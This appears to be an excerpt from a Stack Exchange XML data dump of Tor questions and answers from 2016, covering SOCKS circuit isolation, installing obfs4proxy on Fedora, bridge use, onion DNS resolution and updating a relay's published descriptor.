  <row Id="12445" PostTypeId="2" ParentId="12436" CreationDate="2016-08-24T23:30:55.800" Score="0" Body="&lt;p&gt;You need no ControlPort tricks but a SOCKS proxy endpoint authentication. The thing is that multiple sessions to a single Tor instance using different login+password pairs will use different circuits, i.e. external IP's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;the official docs cite&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;SocksPort [address:]port|unix:path|auto [flags] [&lt;em&gt;isolation flags&lt;/em&gt;]&lt;/strong&gt;&#xA;  Open this port to listen for connections from SOCKS-speaking applications. Set this to 0 if you don’t want to allow application connections via SOCKS. Set it to &quot;auto&quot; to have Tor pick a port for you. This directive can be specified multiple times to bind to multiple addresses/ports. (Default: 9050)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;NOTE: Although this option allows you to specify an IP address other than localhost, you should do so only with extreme caution. The SOCKS protocol is unencrypted and (as we use it) unauthenticated, so exposing it in this way could leak your information to anybody watching your network, and allow anybody to use your computer as an open proxy.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The isolation flags arguments give Tor rules for which streams received on this SocksPort are allowed to share circuits with one another. Recognized isolation flags are:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;IsolateClientAddr&lt;/strong&gt;&#xA;  Don’t share circuits with streams from a different client address. (On by default and strongly recommended; you can disable it with NoIsolateClientAddr.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;IsolateSOCKSAuth&lt;/strong&gt;&#xA;  Don’t share circuits with streams for which different SOCKS authentication was provided. (On by default; you can disable it with NoIsolateSOCKSAuth.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;IsolateClientProtocol&lt;/strong&gt;&#xA;  Don’t share circuits with streams using a different protocol. (SOCKS 4, SOCKS 5, TransPort connections, NATDPort connections, and DNSPort requests are all considered to be different protocols.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;IsolateDestPort&lt;/strong&gt;&#xA;  Don’t share circuits with streams targeting a different destination port.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;IsolateDestAddr&lt;/strong&gt;&#xA;  Don’t share circuits with streams targeting a different destination address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-08-24T23:30:55.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12446" PostTypeId="2" ParentId="12434" CreationDate="2016-08-24T23:38:07.033" Score="1" Body="&lt;p&gt;You can use any TCP-based service. Try to use VNC+&lt;a href=&quot;https://github.com/kanaka/noVNC&quot; rel=&quot;nofollow&quot;&gt;noVNC&lt;/a&gt; or X11 + &lt;a href=&quot;https://github.com/GothAck/javascript-x-server&quot; rel=&quot;nofollow&quot;&gt;js/html5 X server&lt;/a&gt;. It will be 100% in-Tor/in-browser solution for easy connections. If you're serious about using it extensively - X11+ssh is your very best friend&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-08-24T23:38:07.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12451" PostTypeId="1" CreationDate="2016-08-25T19:50:21.133" Score="1" ViewCount="2767" Body="&lt;p&gt;For a while I'm using Fedora Linux, I used to use Ubuntu before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Ubuntu simply you use &lt;code&gt;sudo apt install opfs4proxy&lt;/code&gt; and then boom, just add the bridge to the &lt;code&gt;torrc&lt;/code&gt; document and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I'm wondering how to install obfs4proxy On Fedora&#xA;because it seems that this package doesn't exist on Fedora.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo yum install obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And Result: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;No package obfs4proxy available.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;obfsproxy is not available too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How i can add the repository or install obfs4proxy In Fedora 24?&lt;/p&gt;&#xA;" OwnerUserId="14112" LastEditorUserId="88" LastEditDate="2016-09-16T21:16:09.213" LastActivityDate="2016-09-16T21:16:09.213" Title="Using TOR bridges On Fedora (How to install obfs4proxy on Fedora)" Tags="|obfsproxy|obfs4proxy|fedora|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12453" PostTypeId="2" ParentId="12451" CreationDate="2016-08-25T22:18:07.907" Score="2" Body="&lt;p&gt;There doesn't appear to be available/packaged for FC/RH, however...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use the obfs4proxy binary packaged with Tor Browser by running.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget https://dist.torproject.org/torbrowser/6.0.4/tor-browser-linux64-6.0.4_en-US.tar.xz{,.asc}&#xA;gpg --recv-keys 0x4E2C6E8793298290&#xA;gpg --list-keys --fingerprint 0x4E2C6E8793298290&#xA;# Manually verify fingerprint against https://www.torproject.org/docs/signing-keys.html.en or web of trust here&#xA;gpg --verify tor-browser-linux64-6.0.4_en-US.tar.xz.asc tor-browser-linux64-6.0.4_en-US.tar.xz&#xA;if [ $? -eq 0 ]; then&#xA;    tar xaf tor-browser-linux64-6.0.4_en-US.tar.xz tor-browser_en-US/Browser/TorBrowser/Tor/PluggableTransports/obfs4proxy&#xA;    sudo cp tor-browser_en-US/Browser/TorBrowser/Tor/PluggableTransports/obfs4proxy /usr/local/bin/&#xA;else&#xA;    echo Signature verification failed.&#xA;fi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you could build obfs4proxy from source by installing the &lt;code&gt;golang&lt;/code&gt; package then running (you may also need &lt;code&gt;git&lt;/code&gt; and &lt;code&gt;mercurial&lt;/code&gt;, which &lt;code&gt;go get ...&lt;/code&gt; utilises):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export GOPATH=`mktemp -d`&#xA;go get git.torproject.org/pluggable-transports/obfs4.git/obfs4proxy&#xA;sudo cp $GOPATH/bin/obfs4proxy /usr/local/bin/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To use it as a client, add the following lines to your torrc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ClientTransportPlugin obfs3,obfs4,scramblesuit exec /usr/local/bin/obfs4proxy&#xA;UseBridges 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then also append your &lt;code&gt;Bridge ...&lt;/code&gt; lines for each of the bridges you wish to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use it as a server, add the following lines to your torrc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerTransportPlugin obfs4 exec /usr/local/bin/obfs4proxy&#xA;ORPort 31337 # This isn't where obfs4 clients connect, but needs to be set and reachable.&#xA;BridgeRelay 1&#xA;ExtORPort auto&#xA;#ServerTransportListenAddr obfs4 0.0.0.0:443 # This allows you to specify where the pluggable transport will listen, if it's not defined it will pick a random high numbered port.&#xA;#PublishServerDescriptor 0 # set this if you want to manually distribute your bridge address, otherwise it will be published to the Bridge Authority and distributed through BridgeDB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're providing an obfs4 bridge, the &lt;code&gt;Bridge ...&lt;/code&gt; line for your bridge can be found at &lt;code&gt;/var/lib/tor/pt_state/obfs4_bridgeline.txt&lt;/code&gt; (assuming &lt;code&gt;/var/lib/tor/&lt;/code&gt; is your &lt;code&gt;DataDirectory&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-08-25T22:18:07.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12456" PostTypeId="1" CreationDate="2016-08-27T02:58:08.947" Score="1" ViewCount="127" Body="&lt;p&gt;I just downloaded Tor browser. Just to be sure: &#xA;The Tor services are only applied to the Tor browser's network traffic, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or does all network traffic coming to and from my computer goes through those services when I run the Tor browser? Say for example, I run Microsoft Edge or any other browsers, will their traffic also goes through the Tor network too? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might not fully understand how this works. Please help me. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14128" LastEditorUserId="13768" LastEditDate="2016-09-13T09:54:46.757" LastActivityDate="2016-09-13T09:54:46.757" Title="Question about Tor browser and whether if it routes all of my computer's network traffic through the Tor network" Tags="|tor-browser-bundle|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12457" PostTypeId="1" CreationDate="2016-08-27T08:15:35.277" Score="0" ViewCount="41" Body="&lt;p&gt;So how do I still remain anonymous?  Will TOR or Tails prevent this?  Or is Tor or Tails considered a VPN?  At any rate, if the law passes, how to I get around this?&lt;/p&gt;&#xA;" OwnerUserId="14130" LastActivityDate="2016-08-28T10:12:10.487" Title="A government in Asia wants to pass a law making it illegal to use a VPN" Tags="|vpn|" AnswerCount="1" CommentCount="0" ClosedDate="2016-09-16T14:47:50.737" ContentLicense="CC BY-SA 3.0" />
  <row Id="12458" PostTypeId="2" ParentId="12456" CreationDate="2016-08-27T09:41:47.043" Score="4" Body="&lt;p&gt;Only your internet surfing through the Tor browser is &quot;protected&quot; by using the Tor network, not the system (Operating System).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install the Tor service along with Obfsproxy and configure your system to route your network connections through the Tor port (usually 9050) however it requires some set up and configuration through Command Prompt/Terminal etc.&lt;/p&gt;&#xA;" OwnerUserId="12620" LastActivityDate="2016-08-27T09:41:47.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12459" PostTypeId="2" ParentId="12457" CreationDate="2016-08-27T09:53:39.337" Score="1" Body="&lt;p&gt;I recommend you to use obfs4 bridges. You can use &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://bridges.torproject.org/&lt;/a&gt; (most recommended), but if you are too scared or this website is blocked, try to send e-mail from Gmail.com, riseup.net or Yahoo.com to the bridges@torproject.org. To get Tor Browser as last resort method, you can try gettor@torproject.org with typing windows, osx or linux in the body of e-mail message. It is very important to verify integrity of Tor Browser, because you downloading it from Dropbox. &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow&quot;&gt;Official verification guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13240" LastEditorUserId="13240" LastEditDate="2016-08-28T10:12:10.487" LastActivityDate="2016-08-28T10:12:10.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12462" PostTypeId="1" CreationDate="2016-08-28T17:25:09.497" Score="2" ViewCount="318" Body="&lt;p&gt;I'm trying to use facebook's hidden service to create an pseudonymous facebook account. For registering or logging in to facebook you have to enable javascript and I did that by clicking on the NoScript Button and selecting &quot;Temporarily allow all this page&quot;. When I do that, the page starts to reload every few seconds, so it's impossible to enter my data. Therefore, I can neither register nor login.&lt;br&gt;&#xA;I figure it has something to do with javascript or other scripts that I enable by whitelisting facebook's hidden service in NoScript. Is there another way to enable javascript or do I make another mistake?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't know whether this information is important, but my operation system is Ubuntu 16.04 and Tor browser bundle version is 6.0.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help!&lt;/p&gt;&#xA;" OwnerUserId="14143" LastActivityDate="2016-09-09T16:46:10.337" Title="Not able to register/login facebook hidden service with Javascript enabled" Tags="|tor-browser-bundle|onion-services|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12464" PostTypeId="1" CreationDate="2016-08-28T22:07:40.937" Score="0" ViewCount="5440" Body="&lt;p&gt;I have another copy of Tor browser on my PC and it plays SkillShare videos just fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the one on VPS can't play giving an error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The video is bad or in a format that can't be played in your browser&quot;&#xA;media_err_decode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can be causing the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everyone's help is greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14149" LastEditorUserId="13768" LastEditDate="2016-09-05T16:49:30.190" LastActivityDate="2016-09-05T16:49:30.190" Title="Tor Browser Doesn't Play Videos From SkillShare.com On VPS" Tags="|tor-browser-bundle|configuration|error|vps|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12467" PostTypeId="1" CreationDate="2016-08-29T12:18:50.383" Score="1" ViewCount="865" Body="&lt;p&gt;My machine is Linux and I try the latest TBB (6.0.4). But when I run TBB I get the error message (strangely TBB 5.5 works perfectly fine)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$./start-tor-browser.desktop --verbose&#xA;Launching './Browser/start-tor-browser --detach --verbose'...&#xA;XPCOMGlueLoad error for file &amp;lt;...&amp;gt;/Browser/libxul.so:&#xA;&amp;lt;...&amp;gt;/Browser/libxul.so: undefined symbol: gdk_window_get_visual&#xA;Couldn't load XPCOM.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I saw &lt;a href=&quot;https://tor.stackexchange.com/questions/2012/error-message-cannot-load-xpcom-at-the-start-of-tor-browser&quot;&gt;the solution&lt;/a&gt; for this question but it is Windows specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to solve this on Linux?&lt;/p&gt;&#xA;" OwnerUserId="14154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-08-29T20:30:57.580" Title="Error message &quot;libxul.so: undefined symbol: gdk_window_get_visual Cannot load XPCOM” at the start of Tor Browser" Tags="|tor-browser-bundle|linux|error|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12470" PostTypeId="2" ParentId="12464" CreationDate="2016-08-30T01:38:20.540" Score="1" Body="&lt;p&gt;OK solved the problem after a thorough research.&#xA;This update was required:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update for Desktop Experience Decoder for Windows Server 2008 R2 (KB2483177) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/download/confirmation.aspx?id=13283&quot; rel=&quot;nofollow&quot;&gt;https://www.microsoft.com/en-us/download/confirmation.aspx?id=13283&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14149" LastActivityDate="2016-08-30T01:38:20.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12472" PostTypeId="1" CreationDate="2016-08-30T10:56:03.717" Score="2" ViewCount="239" Body="&lt;p&gt;I want to use my Tor Browser with some of my addons (e.g. avoiding Ads). I just read&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/q/1225/14165&quot;&gt;How can I check if a Firefox plugin is a deanonymization threat?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and understood it is difficult for &lt;em&gt;me&lt;/em&gt; as a user to check add-ons/plugins. But what about other people/groups? Are there lists of browser add-ons (not plugins) considered safe or &quot;safe enough&quot;? Of course, many of these would also have a list of necessary settings (such as &quot;disable logging&quot;, &quot;do not report usage statistics&quot;, &quot;do not check for XYZ online&quot; etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm specifically interested in Firefox.&lt;/p&gt;&#xA;" OwnerUserId="14165" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-08-30T22:02:16.650" Title="Is anyone maintaining a list of &quot;Tor-vetted&quot; browser add-ons?" Tags="|firefox|add-on|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12473" PostTypeId="1" CreationDate="2016-08-30T19:26:41.570" Score="0" ViewCount="95" Body="&lt;p&gt;I want to visit to a site anonymously, but I can not login with Tor.&#xA;How to make sure that this site did not know that I use Tor?&#xA;They are forbidden clones, but I need them.&lt;/p&gt;&#xA;" OwnerUserId="14169" LastEditorUserId="88" LastEditDate="2016-09-14T06:51:45.333" LastActivityDate="2016-10-17T01:46:41.590" Title="if one site blocks the entrance with tor browser, what can I do?" Tags="|blocked-services|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12475" PostTypeId="1" CreationDate="2016-08-31T13:08:45.060" Score="2" ViewCount="559" Body="&lt;p&gt;I have a tor relay, and I've changed the contact info in it (misspelled my email adress). I'm running the relay on a raspberry pi 2 using raspbian, installed through the raspian repos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have restarted the service and it is listed as restarted on atlas, but the old contact info is the same, but the info on my torrc is up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My relay (if it is of interest) &lt;a href=&quot;https://atlas.torproject.org/#details/CBFF7A3CB3224A8D8E4C542DDCF0DB47E85B397A&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/#details/CBFF7A3CB3224A8D8E4C542DDCF0DB47E85B397A&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14176" LastActivityDate="2017-02-17T16:58:52.160" Title="change contactinfo relay" Tags="|relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12476" PostTypeId="1" AcceptedAnswerId="12478" CreationDate="2016-08-31T14:20:55.563" Score="1" ViewCount="979" Body="&lt;p&gt;Init:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For user &lt;code&gt;anonymous&lt;/code&gt; configured &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy#LocalRedirectionThroughTor&quot; rel=&quot;nofollow&quot;&gt;transpared proxy&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Wireshark sniffing &lt;code&gt;lo&lt;/code&gt;...&lt;/li&gt;&#xA;&lt;li&gt;Trying to use &lt;em&gt;console network-tools&lt;/em&gt; torified.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;anonymous@kali:/tmp$ time strace -s6000 -t -f dig facebookcorewwwi.onion &gt; dig.strace 2&gt;&amp;amp;1 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pastebin.com/it1tk8jQ   - &lt;strong&gt;visible in wireshark.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;anonymous@kali:/tmp$ time strace -s6000 -t -f host facebookcorewwwi.onion &gt; host.strace 2&gt;&amp;amp;1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pastebin.com/EgWWsM55 - &lt;strong&gt;not visible.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;anonymous@kali:/tmp$ time strace -s6000 -t -f wget -O -&#xA;  facebookcorewwwi.onion &gt; wget.strace 2&gt;&amp;amp;1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pastebin.com/cB1dSHDd - not visible. (Optional, just for being)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Means, only &lt;code&gt;dig&lt;/code&gt; given valid IP-Address from &lt;code&gt;VirtualAddrNetwork&lt;/code&gt; from &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddrNetwork 172.16.0.0/12 # private network 10.x.x.x is not available&#xA;AutomapHostsOnResolve 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other tools hanged. Retried to reconnect to DNS-servers couple of times, thereafter broke with &lt;code&gt;connection timed out; no servers could be reached&lt;/code&gt; or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I did not seen anything in Wireshark. Only &lt;code&gt;dig&lt;/code&gt; was highlighted with specified DNS request redirected by &lt;code&gt;iptables&lt;/code&gt; to loop-back interface 53 port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is strange, both &lt;code&gt;dig&lt;/code&gt; and &lt;code&gt;host&lt;/code&gt; are using the &lt;strong&gt;same functions&lt;/strong&gt; with the &lt;strong&gt;same flags&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dig:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[pid 10713] 06:41:58 sendmsg(20, {msg_name(16)={sa_family=AF_INET, &#xA;sin_port=htons(53), sin_addr=inet_addr(&quot;10.99.248.2&quot;)}, msg_iov(1)=[{&quot;&amp;lt;\331\1 &#xA;\0\1\0\0\0\0\0\1\20facebookcorewwwi\5onion\0\0\1\0\1\0\0)\20\0\0\0\0\0\0\0&quot;, 51}],&#xA;msg_controllen=0, msg_flags=0}, 0) = 51&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;host:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[pid 10394] 06:41:38 sendmsg(20, {msg_name(16)={sa_family=AF_INET, &#xA;sin_port=htons(53), sin_addr=inet_addr(&quot;10.99.248.2&quot;)}, msg_iov(1)=[{&quot;9\307\1&#xA;\0\0\1\0\0\0\0\0\0\20facebookcorewwwi\5onion\0\0\1\0\1&quot;, 40}],&#xA;msg_controllen=0, msg_flags=0}, 0 &amp;lt;unfinished ...&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only payloads are little bit different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is about this pastebined logs: &lt;strong&gt;Where is this place in log which&lt;/strong&gt; is wrong for &lt;code&gt;host&lt;/code&gt; and right for &lt;code&gt;dig&lt;/code&gt;???? Because I'm not seeing anything. &lt;code&gt;bind&lt;/code&gt;, &lt;code&gt;sendmsg&lt;/code&gt;, &lt;code&gt;socket&lt;/code&gt;, etc - everything seems are equivalent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does &lt;code&gt;dig&lt;/code&gt; working, resolving onion domain into ip address but &lt;code&gt;host&lt;/code&gt;, &lt;code&gt;wget&lt;/code&gt;, &lt;code&gt;nslookup&lt;/code&gt;, &lt;code&gt;chromium&lt;/code&gt;... and other doesn't? &lt;strong&gt;&lt;em&gt;Most of mysterium with onion domains only.&lt;/em&gt;&lt;/strong&gt; Every other domains are resolving successfully and highlighted on &lt;code&gt;lo&lt;/code&gt; side in Wireshark successfully by any &lt;em&gt;network-tool&lt;/em&gt; or even &lt;code&gt;chromium&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably, it is because &lt;code&gt;dig&lt;/code&gt; is most robust tool to resolve ip addr, then what is wrong with other? Why are they not so smart?&lt;/p&gt;&#xA;" OwnerUserId="14177" LastEditorUserId="14177" LastEditDate="2016-08-31T14:43:03.753" LastActivityDate="2016-09-01T00:03:26.243" Title="resolving onion domains partially fails" Tags="|onion-routing|dns|transparent-proxy|log|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12477" PostTypeId="2" ParentId="12475" CreationDate="2016-08-31T16:23:37.987" Score="0" Body="&lt;p&gt;It should update sometime in the next few hours. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I may suggest, Tor 0.2.5 is very old. You should use the official Tor Repository so you can get the latest version: &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/debian.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clear up confusion, the Raspberry Pi 2 and newer work fine with this. It's just the older Pis that have problems. Someone should update that page. &lt;/p&gt;&#xA;" OwnerUserId="12240" LastEditorUserId="16326" LastEditDate="2017-02-17T16:58:52.160" LastActivityDate="2017-02-17T16:58:52.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12478" PostTypeId="2" ParentId="12476" CreationDate="2016-09-01T00:03:26.243" Score="1" Body="&lt;p&gt;If you're using a standard setup with local DNS server located on your very PC - it caches the response locally inside the server, so no second request is made. If you have more questions - feel free to ask!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-01T00:03:26.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12479" PostTypeId="2" ParentId="12475" CreationDate="2016-09-01T02:35:02.387" Score="1" Body="&lt;p&gt;Looking at the latest descriptor, published (currently &lt;code&gt;2016-08-31 12:12:16&lt;/code&gt;) the contact address currently matches whats on atlas from which I assume it's already been updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The update &lt;em&gt;should&lt;/em&gt; be within an hour, when you restart Tor it will republish your relays descriptor to the DirAuths and then the updated descriptor will be redistributed with the next consensus, which happens hourly. However note that Atlas can lag behind a little, it pulls its data from &lt;a href=&quot;https://onionoo.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;onionoo&lt;/code&gt;&lt;/a&gt; which can be delayed a little longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick way to see the latest descriptor is just to fetch it directly from a Directory server by making a simple &lt;code&gt;GET&lt;/code&gt; request for &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n3426&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;/tor/server/fp/&amp;lt;your relay's fingerprint&amp;gt;&lt;/code&gt;&lt;/a&gt; to their advertised DirPort, for example I received this descriptor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;router TheNorth 94.255.146.58 9001 0 9030&#xA;platform Tor 0.2.5.12 on Linux&#xA;protocols Link 1 2 Circuit 1&#xA;published 2016-08-31 12:12:16&#xA;fingerprint CBFF 7A3C B322 4A8D 8E4C 542D DCF0 DB47 E85B 397A&#xA;uptime 2&#xA;bandwidth 2097152 3145728 458752&#xA;extra-info-digest 0BFED77DF742FA6FAC7E4A4225BCFA87E748B408&#xA;onion-key&#xA;-----BEGIN RSA PUBLIC KEY-----&#xA;MIGJAoGBAL/j4X5ZPjlWNVOURkyDfihSUJdtf7aF6JtrtthKYGZGf+8ooflXGgJ/&#xA;V47HFD/Yd8sMw0aVUPRD4c2BKOHEjREBn/tG2czZDfgTJCnJXZF8b3rw2AhYLnah&#xA;J3vCIPGBsOaVZB3epppXxALkzTTxHQTAUdZL7x0hLOAy7ktjvwO7AgMBAAE=&#xA;-----END RSA PUBLIC KEY-----&#xA;signing-key&#xA;-----BEGIN RSA PUBLIC KEY-----&#xA;MIGJAoGBALXsXjFe4gpwmfInQRLIVNGOOQShd4VPQwpOF1oywLKuLVWwE1PZC0pp&#xA;Tm3LqXlu8fUvEsviGDU2rdX5h1DmEBt8V9goKAC3LgzfDgCs6KJdQxMG7BZBXcpu&#xA;hW5GrHfs54/DsAXP2hj9xYcoBgjqINeyzrrOyIBLmS8P0YVDf9vZAgMBAAE=&#xA;-----END RSA PUBLIC KEY-----&#xA;hidden-service-dir&#xA;contact Gustav Andersson &amp;lt;Gustavlidingo at gmail (dot) com &amp;gt;&amp;gt;&amp;gt;&#xA;ntor-onion-key PTbY8uOHg/a0ZOQns0/X++Vp8pKguRNnI47/4b3lLDM=&#xA;reject *:*&#xA;router-signature&#xA;-----BEGIN SIGNATURE-----&#xA;ratka1yOsSGiI1w55ATF1xZ13OIv4gultSfNt8Xm1uyCr/0fgi55HFLuLLrHm8w+&#xA;XJnyeXKISFTNxSqzMUFMJ4aMK2bRElGZsjkAErUObVBCqIP6aTxb3A/K7iyELYI4&#xA;kNIjDVyrj2XJU9ZPNOFTntn0ly3CCVQxkk/SvkOU/6A=&#xA;-----END SIGNATURE-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Also see &lt;a href=&quot;https://tor.stackexchange.com/a/12477/12737&quot;&gt;SuperSluether's answers&lt;/a&gt; comment about upgrading Tor, 0.2.5.12 is a few stable releases old now.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-09-01T02:35:02.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
